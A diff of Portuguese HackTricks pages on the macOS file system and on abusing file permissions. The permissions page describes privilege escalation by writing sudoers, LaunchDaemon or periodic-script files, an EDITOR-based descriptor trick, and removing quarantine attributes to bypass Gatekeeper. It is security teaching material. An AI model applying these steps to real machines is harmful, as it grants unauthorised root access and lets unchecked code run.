- **/Users**: Diretório doméstico para usuários.
|
||||
- **/usr**: Binários de configuração e sistema
|
||||
- **/var**: Arquivos de log
|
||||
- **/Volumes**: As unidades montadas aparecerão aqui.
|
||||
- **/.vol**: Executando `stat a.txt` você obtém algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` onde o primeiro número é o número de identificação do volume onde o arquivo existe e o segundo é o número de inode. Você pode acessar o conteúdo deste arquivo através de /.vol/ com essa informação executando `cat /.vol/16777223/7545753`
|
||||
* **/Applications**: Os aplicativos instalados devem estar aqui. Todos os usuários poderão acessá-los.
|
||||
* **/bin**: Binários de linha de comando
|
||||
* **/cores**: Se existir, é usado para armazenar despejos de núcleo
|
||||
* **/dev**: Tudo é tratado como um arquivo, então você pode ver dispositivos de hardware armazenados aqui.
|
||||
* **/etc**: Arquivos de configuração
|
||||
* **/Library**: Muitos subdiretórios e arquivos relacionados a preferências, caches e logs podem ser encontrados aqui. Uma pasta Library existe na raiz e em cada diretório de usuário.
|
||||
* **/private**: Não documentado, mas muitas das pastas mencionadas são links simbólicos para o diretório privado.
|
||||
* **/sbin**: Binários essenciais do sistema (relacionados à administração)
|
||||
* **/System**: Arquivo para fazer o OS X funcionar. Você deve encontrar principalmente apenas arquivos específicos da Apple aqui (não de terceiros).
|
||||
* **/tmp**: Arquivos são excluídos após 3 dias (é um link simbólico para /private/tmp)
|
||||
* **/Users**: Diretório doméstico para usuários.
|
||||
* **/usr**: Binários de configuração e sistema
|
||||
* **/var**: Arquivos de log
|
||||
* **/Volumes**: As unidades montadas aparecerão aqui.
|
||||
* **/.vol**: Executando `stat a.txt` você obtém algo como `16777223 7545753 -rw-r--r-- 1 nome de usuário wheel ...` onde o primeiro número é o número de identificação do volume onde o arquivo existe e o segundo é o número de inode. Você pode acessar o conteúdo deste arquivo através de /.vol/ com essa informação executando `cat /.vol/16777223/7545753`
|
||||
|
||||
### Pastas de Aplicativos
|
||||
|
||||
- Os **aplicativos do sistema** estão localizados em `/System/Applications`
|
||||
- Os aplicativos **instalados** geralmente são instalados em `/Applications` ou em `~/Applications`
|
||||
- Os **dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos em execução como root e `~/Library/Application Support` para aplicativos em execução como o usuário.
|
||||
- Os **daemons de aplicativos de terceiros** que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/`
|
||||
- Os aplicativos **sandboxed** são mapeados na pasta `~/Library/Containers`. Cada aplicativo tem uma pasta nomeada de acordo com o ID do pacote do aplicativo (`com.apple.Safari`).
|
||||
- O **kernel** está localizado em `/System/Library/Kernels/kernel`
|
||||
- As **extensões de kernel da Apple** estão localizadas em `/System/Library/Extensions`
|
||||
- As **extensões de kernel de terceiros** são armazenadas em `/Library/Extensions`
|
||||
* Os **aplicativos do sistema** estão localizados em `/System/Applications`
|
||||
* Os aplicativos **instalados** geralmente são instalados em `/Applications` ou em `~/Applications`
|
||||
* Os **dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos em execução como root e `~/Library/Application Support` para aplicativos em execução como o usuário.
|
||||
* Os **daemons** de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/`
|
||||
* Os aplicativos **sandboxed** são mapeados na pasta `~/Library/Containers`. Cada aplicativo tem uma pasta com o nome do ID do pacote do aplicativo (`com.apple.Safari`).
|
||||
* O **kernel** está localizado em `/System/Library/Kernels/kernel`
|
||||
* As **extensões de kernel da Apple** estão localizadas em `/System/Library/Extensions`
|
||||
* As **extensões de kernel de terceiros** são armazenadas em `/Library/Extensions`
|
||||
|
||||
### Arquivos com Informações Sensíveis
|
||||
|
||||
|
@ -59,24 +59,24 @@ O macOS armazena informações como senhas em vários locais:
|
|||
|
||||
## Extensões Específicas do OS X
|
||||
|
||||
- **`.dmg`**: Arquivos de Imagem de Disco da Apple são muito frequentes para instaladores.
|
||||
- **`.kext`**: Deve seguir uma estrutura específica e é a versão do OS X de um driver. (é um pacote)
|
||||
- **`.plist`**: Também conhecido como lista de propriedades, armazena informações em formato XML ou binário.
|
||||
- Pode ser XML ou binário. Os binários podem ser lidos com:
|
||||
- `defaults read config.plist`
|
||||
- `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
- `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
- `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
- **`.app`**: Aplicativos da Apple que seguem a estrutura de diretório (é um pacote).
|
||||
- **`.dylib`**: Bibliotecas dinâmicas (como arquivos DLL do Windows)
|
||||
- **`.pkg`**: São iguais a xar (formato de arquivo de Arquivo Extensível). O comando installer pode ser usado para instalar o conteúdo desses arquivos.
|
||||
- **`.DS_Store`**: Este arquivo está em cada diretório, ele salva os atributos e personalizações do diretório.
|
||||
- **`.Spotlight-V100`**: Esta pasta aparece no diretório raiz de cada volume no sistema.
|
||||
- **`.metadata_never_index`**: Se este arquivo estiver na raiz de um volume, o Spotlight não indexará esse volume.
|
||||
- **`.noindex`**: Arquivos e pastas com esta extensão não serão indexados pelo Spotlight.
|
||||
* **`.dmg`**: Arquivos de Imagem de Disco da Apple são muito frequentes para instaladores.
|
||||
* **`.kext`**: Deve seguir uma estrutura específica e é a versão do OS X de um driver. (é um pacote)
|
||||
* **`.plist`**: Também conhecido como lista de propriedades, armazena informações em formato XML ou binário.
|
||||
* Pode ser XML ou binário. Os binários podem ser lidos com:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**: Aplicativos da Apple que seguem a estrutura de diretório (é um pacote).
|
||||
* **`.dylib`**: Bibliotecas dinâmicas (como arquivos DLL do Windows)
|
||||
* **`.pkg`**: São iguais a xar (formato de arquivo de Arquivo Extensível). O comando installer pode ser usado para instalar o conteúdo desses arquivos.
|
||||
* **`.DS_Store`**: Este arquivo está em cada diretório, ele salva os atributos e personalizações do diretório.
|
||||
* **`.Spotlight-V100`**: Esta pasta aparece no diretório raiz de cada volume no sistema.
|
||||
* **`.metadata_never_index`**: Se este arquivo estiver na raiz de um volume, o Spotlight não indexará esse volume.
|
||||
* **`.noindex`**: Arquivos e pastas com esta extensão não serão indexados pelo Spotlight.
|
||||
|
||||
### Pacotes do macOS
|
||||
### Pacotes macOS
|
||||
|
||||
Um pacote é um **diretório** que **parece um objeto no Finder** (um exemplo de pacote são os arquivos `*.app`).
|
||||
|
||||
|
@ -120,20 +120,42 @@ Note que mesmo se a ferramenta `dyld_shared_cache_util` não funcionar, você po
|
|||
|
||||
Em uma **pasta**, **ler** permite **listá-la**, **escrever** permite **excluir** e **escrever** arquivos nela, e **executar** permite **atravessar** o diretório. Portanto, por exemplo, um usuário com **permissão de leitura sobre um arquivo** dentro de um diretório onde ele **não tem permissão de execução** **não poderá ler** o arquivo.
|
||||
|
||||
### Modificadores de Flag
|
||||
### Modificadores de Sinalizadores
|
||||
|
||||
Existem algumas flags que podem ser definidas nos arquivos e que farão o arquivo se comportar de maneira diferente. Você pode **verificar as flags** dos arquivos dentro de um diretório com `ls -lO /caminho/diretório`
|
||||
Existem alguns sinalizadores que podem ser definidos nos arquivos e que farão o arquivo se comportar de maneira diferente. Você pode **verificar os sinalizadores** dos arquivos dentro de um diretório com `ls -lO /caminho/diretório`
|
||||
|
||||
* **`uchg`**: Conhecida como **flag uchange** irá **impedir qualquer ação** de alterar ou excluir o **arquivo**. Para defini-la faça: `chflags uchg arquivo.txt`
|
||||
* O usuário root pode **remover a flag** e modificar o arquivo
|
||||
* **`restricted`**: Esta flag faz com que o arquivo seja **protegido pelo SIP** (você não pode adicionar essa flag a um arquivo).
|
||||
* **`Bit pegajoso`**: Se um diretório tiver o bit pegajoso, **apenas** o **proprietário dos diretórios ou root podem renomear ou excluir** arquivos. Tipicamente isso é definido no diretório /tmp para impedir que usuários comuns excluam ou movam arquivos de outros usuários.
|
||||
* **`uchg`**: Conhecido como sinalizador **uchange** irá **impedir qualquer ação** de alterar ou excluir o **arquivo**. Para defini-lo, faça: `chflags uchg arquivo.txt`
|
||||
* O usuário root pode **remover o sinalizador** e modificar o arquivo
|
||||
* **`restricted`**: Este sinalizador faz com que o arquivo seja **protegido pelo SIP** (você não pode adicionar este sinalizador a um arquivo).
|
||||
* **`Bit pegajoso`**: Se um diretório tiver o bit pegajoso, **apenas** o **proprietário dos diretórios ou root podem renomear ou excluir** arquivos. Tipicamente, isso é definido no diretório /tmp para evitar que usuários comuns excluam ou movam arquivos de outros usuários.
|
||||
|
||||
Todos os sinalizadores podem ser encontrados no arquivo `sys/stat.h` (encontre-o usando `mdfind stat.h | grep stat.h`) e são:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff: Máscara de sinalizadores alteráveis pelo proprietário.
|
||||
* `UF_NODUMP` 0x00000001: Não fazer dump do arquivo.
|
||||
* `UF_IMMUTABLE` 0x00000002: Arquivo não pode ser alterado.
|
||||
* `UF_APPEND` 0x00000004: Gravações no arquivo só podem ser anexadas.
|
||||
* `UF_OPAQUE` 0x00000008: Diretório é opaco em relação à união.
|
||||
* `UF_COMPRESSED` 0x00000020: Arquivo está comprimido (alguns sistemas de arquivos).
|
||||
* `UF_TRACKED` 0x00000040: Sem notificações para exclusões/renomeações para arquivos com isso definido.
|
||||
* `UF_DATAVAULT` 0x00000080: Entitlement necessário para leitura e escrita.
|
||||
* `UF_HIDDEN` 0x00008000: Dica de que este item não deve ser exibido em uma GUI.
|
||||
* `SF_SUPPORTED` 0x009f0000: Máscara de sinalizadores suportados pelo superusuário.
|
||||
* `SF_SETTABLE` 0x3fff0000: Máscara de sinalizadores alteráveis pelo superusuário.
|
||||
* `SF_SYNTHETIC` 0xc0000000: Máscara de sinalizadores sintéticos somente leitura do sistema.
|
||||
* `SF_ARCHIVED` 0x00010000: Arquivo está arquivado.
|
||||
* `SF_IMMUTABLE` 0x00020000: Arquivo não pode ser alterado.
|
||||
* `SF_APPEND` 0x00040000: Gravações no arquivo só podem ser anexadas.
|
||||
* `SF_RESTRICTED` 0x00080000: Entitlement necessário para escrita.
|
||||
* `SF_NOUNLINK` 0x00100000: Item não pode ser removido, renomeado ou montado.
|
||||
* `SF_FIRMLINK` 0x00800000: Arquivo é um firmlink.
|
||||
* `SF_DATALESS` 0x40000000: Arquivo é um objeto sem dados.
|
||||
|
||||
### **ACLs de Arquivo**
|
||||
|
||||
As **ACLs de arquivo** contêm **ACE** (Entradas de Controle de Acesso) onde permissões mais **granulares** podem ser atribuídas a diferentes usuários.
|
||||
|
||||
É possível conceder a uma **pasta** essas permissões: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
|
||||
É possível conceder a um **diretório** essas permissões: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
|
||||
E a um **arquivo**: `read`, `write`, `append`, `execute`.
|
||||
|
||||
Quando o arquivo contém ACLs, você verá um "+" ao listar as permissões como em:
|
||||
|
@ -141,7 +163,7 @@ Quando o arquivo contém ACLs, você verá um "+" ao listar as permissões como
|
|||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
```
|
||||
Você pode **ler as ACLs** do arquivo com:
|
||||
Você pode **ler os ACLs** do arquivo com:
|
||||
```bash
|
||||
ls -lde Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
|
@ -151,6 +173,24 @@ Você pode encontrar **todos os arquivos com ACLs** com (isso é muuuito lento):
|
|||
```bash
|
||||
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
||||
```
|
||||
### Atributos Estendidos
|
||||
|
||||
Atributos estendidos têm um nome e um valor desejado, e podem ser vistos usando `ls -@` e manipulados usando o comando `xattr`. Alguns atributos estendidos comuns são:
|
||||
|
||||
- `com.apple.resourceFork`: Compatibilidade com o recurso de fork. Também visível como `filename/..namedfork/rsrc`
|
||||
- `com.apple.quarantine`: MacOS: Mecanismo de quarentena do Gatekeeper (III/6)
|
||||
- `metadata:*`: MacOS: vários metadados, como `_backup_excludeItem`, ou `kMD*`
|
||||
- `com.apple.lastuseddate` (#PS): Data de último uso do arquivo
|
||||
- `com.apple.FinderInfo`: MacOS: Informações do Finder (por exemplo, Tags de cor)
|
||||
- `com.apple.TextEncoding`: Especifica a codificação de texto de arquivos de texto ASCII
|
||||
- `com.apple.logd.metadata`: Usado pelo logd em arquivos em `/var/db/diagnostics`
|
||||
- `com.apple.genstore.*`: Armazenamento geracional (`/.DocumentRevisions-V100` na raiz do sistema de arquivos)
|
||||
- `com.apple.rootless`: MacOS: Usado pela Proteção de Integridade do Sistema para rotular arquivo (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: Marcadores de épocas de inicialização do logd com UUID único
|
||||
- `com.apple.decmpfs`: MacOS: Compressão de arquivo transparente (II/7)
|
||||
- `com.apple.cprotect`: \*OS: Dados de criptografia por arquivo (III/11)
|
||||
- `com.apple.installd.*`: \*OS: Metadados usados pelo installd, por exemplo, `installType`, `uniqueInstallID`
|
||||
|
||||
### Recursos de Recurso | ADS do macOS
|
||||
|
||||
Esta é uma maneira de obter **fluxos de dados alternativos no MacOS**. Você pode salvar conteúdo dentro de um atributo estendido chamado **com.apple.ResourceFork** dentro de um arquivo salvando-o em **file/..namedfork/rsrc**.
|
||||
|
@ -170,9 +210,17 @@ Você pode **encontrar todos os arquivos que contêm este atributo estendido** c
|
|||
```bash
|
||||
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
```
|
||||
## **Binários universais e** Formato Mach-o
|
||||
### decmpfs
|
||||
|
||||
Os binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
|
||||
O atributo estendido `com.apple.decmpfs` indica que o arquivo está armazenado criptografado, `ls -l` irá relatar um **tamanho de 0** e os dados comprimidos estão dentro desse atributo. Sempre que o arquivo é acessado, ele será descriptografado na memória.
|
||||
|
||||
Esse atributo pode ser visto com `ls -lO` indicado como comprimido porque arquivos comprimidos também são marcados com a flag `UF_COMPRESSED`. Se um arquivo comprimido for removido, essa flag com `chflags nocompressed </caminho/para/arquivo>`, o sistema não saberá que o arquivo estava comprimido e, portanto, não poderá descomprimir e acessar os dados (ele pensará que na verdade está vazio).
|
||||
|
||||
A ferramenta afscexpand pode ser usada para forçar a descompressão de um arquivo.
|
||||
|
||||
## **Binários universais &** Formato Mach-o
|
||||
|
||||
Os binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar múltiplas arquiteturas no mesmo arquivo**.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
|
@ -188,10 +236,10 @@ Os binários do Mac OS geralmente são compilados como **binários universais**.
|
|||
|
||||
O diretório `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` é onde as informações sobre o **risco associado a diferentes extensões de arquivo são armazenadas**. Este diretório categoriza arquivos em vários níveis de risco, influenciando como o Safari lida com esses arquivos ao serem baixados. As categorias são as seguintes:
|
||||
|
||||
- **LSRiskCategorySafe**: Arquivos nesta categoria são considerados **totalmente seguros**. O Safari abrirá automaticamente esses arquivos após o download.
|
||||
- **LSRiskCategoryNeutral**: Esses arquivos não vêm com avisos e **não são abertos automaticamente** pelo Safari.
|
||||
- **LSRiskCategoryUnsafeExecutable**: Arquivos nesta categoria **disparam um aviso** indicando que o arquivo é um aplicativo. Isso serve como uma medida de segurança para alertar o usuário.
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**: Esta categoria é para arquivos, como arquivos compactados, que podem conter um executável. O Safari **disparará um aviso** a menos que possa verificar que todo o conteúdo é seguro ou neutro.
|
||||
* **LSRiskCategorySafe**: Arquivos nesta categoria são considerados **totalmente seguros**. O Safari abrirá automaticamente esses arquivos após serem baixados.
|
||||
* **LSRiskCategoryNeutral**: Esses arquivos não vêm com avisos e **não são abertos automaticamente** pelo Safari.
|
||||
* **LSRiskCategoryUnsafeExecutable**: Arquivos nesta categoria **disparam um aviso** indicando que o arquivo é um aplicativo. Isso serve como uma medida de segurança para alertar o usuário.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Esta categoria é para arquivos, como arquivos compactados, que podem conter um executável. O Safari **disparará um aviso** a menos que possa verificar que todo o conteúdo é seguro ou neutro.
|
||||
|
||||
## Arquivos de log
|
||||
|
||||
|
|
|
@ -19,7 +19,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Permissões em um **diretório**:
|
||||
|
||||
* **leitura** - você pode **enumerar** as entradas do diretório
|
||||
* **escrita** - você pode **excluir/escrever** **arquivos** no diretório e você pode **excluir pastas vazias**.
|
||||
* **escrita** - você pode **excluir/escrever** **arquivos** no diretório e pode **excluir pastas vazias**.
|
||||
* Mas você **não pode excluir/modificar pastas não vazias** a menos que tenha permissões de escrita sobre elas.
|
||||
* Você **não pode modificar o nome de uma pasta** a menos que a possua.
|
||||
* **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não poderá acessar nenhum arquivo dentro dele, ou em quaisquer subdiretórios.
|
||||
|
@ -32,9 +32,9 @@ Permissões em um **diretório**:
|
|||
* Um **proprietário de diretório pai** no caminho é um **grupo de usuários** com **acesso de escrita**
|
||||
* Um **grupo de usuários** tem **acesso de escrita** ao **arquivo**
|
||||
|
||||
Com qualquer uma das combinações anteriores, um atacante poderia **injetar** um **link simbólico/rígido** no caminho esperado para obter uma gravação arbitrária privilegiada.
|
||||
Com uma das combinações anteriores, um atacante poderia **injetar** um **link simbólico/rígido** no caminho esperado para obter uma gravação arbitrária privilegiada.
|
||||
|
||||
### Caso Especial de Raiz de Pasta R+X
|
||||
### Caso Especial de Raiz da Pasta R+X
|
||||
|
||||
Se houver arquivos em um **diretório** onde **apenas o root tem acesso R+X**, esses arquivos **não são acessíveis a mais ninguém**. Portanto, uma vulnerabilidade que permita **mover um arquivo legível por um usuário**, que não pode ser lido por causa dessa **restrição**, desta pasta **para outra diferente**, poderia ser abusada para ler esses arquivos.
|
||||
|
||||
|
@ -42,7 +42,7 @@ Exemplo em: [https://theevilbit.github.io/posts/exploiting\_directory\_permissio
|
|||
|
||||
## Link Simbólico / Link Rígido
|
||||
|
||||
Se um processo privilegiado estiver gravando dados em um **arquivo** que poderia ser **controlado** por um **usuário com menos privilégios**, ou que poderia ser **previamente criado** por um usuário com menos privilégios. O usuário poderia simplesmente **apontá-lo para outro arquivo** via um Link Simbólico ou Rígido, e o processo privilegiado gravará nesse arquivo.
|
||||
Se um processo privilegiado estiver gravando dados em um **arquivo** que poderia ser **controlado** por um **usuário com menos privilégios**, ou que poderia ter sido **criado anteriormente** por um usuário com menos privilégios. O usuário poderia simplesmente **apontá-lo para outro arquivo** via um link simbólico ou rígido, e o processo privilegiado gravará nesse arquivo.
|
||||
|
||||
Verifique nas outras seções onde um atacante poderia **abusar de uma gravação arbitrária para escalar privilégios**.
|
||||
|
||||
|
@ -64,17 +64,17 @@ Exemplo:
|
|||
```
|
||||
## FD Arbitrário
|
||||
|
||||
Se você pode fazer um **processo abrir um arquivo ou uma pasta com altos privilégios**, você pode abusar do **`crontab`** para abrir um arquivo em `/etc/sudoers.d` com **`EDITOR=exploit.py`**, então o `exploit.py` obterá o FD para o arquivo dentro de `/etc/sudoers` e abusará dele.
|
||||
Se você conseguir fazer um **processo abrir um arquivo ou uma pasta com altos privilégios**, você pode abusar do **`crontab`** para abrir um arquivo em `/etc/sudoers.d` com **`EDITOR=exploit.py`**, então o `exploit.py` obterá o FD para o arquivo dentro de `/etc/sudoers` e abusará dele.
|
||||
|
||||
Por exemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
## Truques para Evitar Atributos Estendidos de Quarentena
|
||||
## Evitar truques de atributos estendidos de quarentena
|
||||
|
||||
### Removê-lo
|
||||
```bash
|
||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||
```
|
||||
### Sinalizador uchg / uchange / uimmutable
|
||||
### Bandeira uchg / uchange / uimmutable
|
||||
|
||||
Se um arquivo/pasta tiver esse atributo imutável, não será possível colocar um xattr nele.
|
||||
```bash
|
||||
|
@ -97,9 +97,9 @@ mkdir /tmp/mnt/lol
|
|||
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
||||
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
||||
```
|
||||
### ACL de writeextattr
|
||||
### ACL writeextattr
|
||||
|
||||
Esta ACL impede a adição de `xattrs` ao arquivo.
|
||||
Este ACL impede a adição de `xattrs` ao arquivo.
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
|
@ -233,9 +233,12 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Normalmente, o macOS monta o disco falando com o serviço Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fornecido por `/usr/libexec/diskarbitrationd`). Se adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
|
||||
No entanto, é possível usar ferramentas como `hdik` e `hdiutil` para se comunicar diretamente com o kext `com.apple.driver.DiskImages`.
|
||||
|
||||
## Gravações Arbitrárias
|
||||
|
||||
### Scripts periódicos sh
|
||||
### Scripts sh periódicos
|
||||
|
||||
Se o seu script puder ser interpretado como um **script shell**, você pode sobrescrever o script shell **`/etc/periodic/daily/999.local`** que será acionado todos os dias.
|
||||
|
||||
|
@ -260,21 +263,19 @@ Escreva um **LaunchDaemon** arbitrário como **`/Library/LaunchDaemons/xyz.hackt
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Apenas gere o script `/Applications/Scripts/privesc.sh` com os **comandos** que você gostaria de executar como root.
|
||||
### Ficheiro Sudoers
|
||||
|
||||
### Arquivo Sudoers
|
||||
Se tiver **escrita arbitrária**, poderá criar um ficheiro dentro da pasta **`/etc/sudoers.d/`** concedendo a si mesmo privilégios **sudo**.
|
||||
|
||||
Se você tiver **escrita arbitrária**, você poderia criar um arquivo dentro da pasta **`/etc/sudoers.d/`** concedendo a si mesmo privilégios **sudo**.
|
||||
### Ficheiros PATH
|
||||
|
||||
### Arquivos PATH
|
||||
O ficheiro **`/etc/paths`** é um dos principais locais que popula a variável de ambiente PATH. Deve ser root para o sobrescrever, mas se um script de um **processo privilegiado** estiver a executar algum **comando sem o caminho completo**, poderá **sequestrá-lo** modificando este ficheiro.
|
||||
|
||||
O arquivo **`/etc/paths`** é um dos principais locais que popula a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de um **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestrá-lo** modificando este arquivo.
|
||||
Também pode escrever ficheiros em **`/etc/paths.d`** para carregar novas pastas na variável de ambiente `PATH`.
|
||||
|
||||
Você também pode escrever arquivos em **`/etc/paths.d`** para carregar novas pastas na variável de ambiente `PATH`.
|
||||
## Gerar ficheiros graváveis como outros utilizadores
|
||||
|
||||
## Gerar arquivos graváveis como outros usuários
|
||||
|
||||
Isso irá gerar um arquivo que pertence ao root e é gravável por mim ([**código daqui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Isso também pode funcionar como privesc:
|
||||
Isto irá gerar um ficheiro que pertence ao root e que é gravável por mim ([**código daqui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Isto também pode funcionar como privesc:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
|
@ -292,7 +293,7 @@ echo $FILENAME
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking da AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
|
Loading…
Reference in a new issue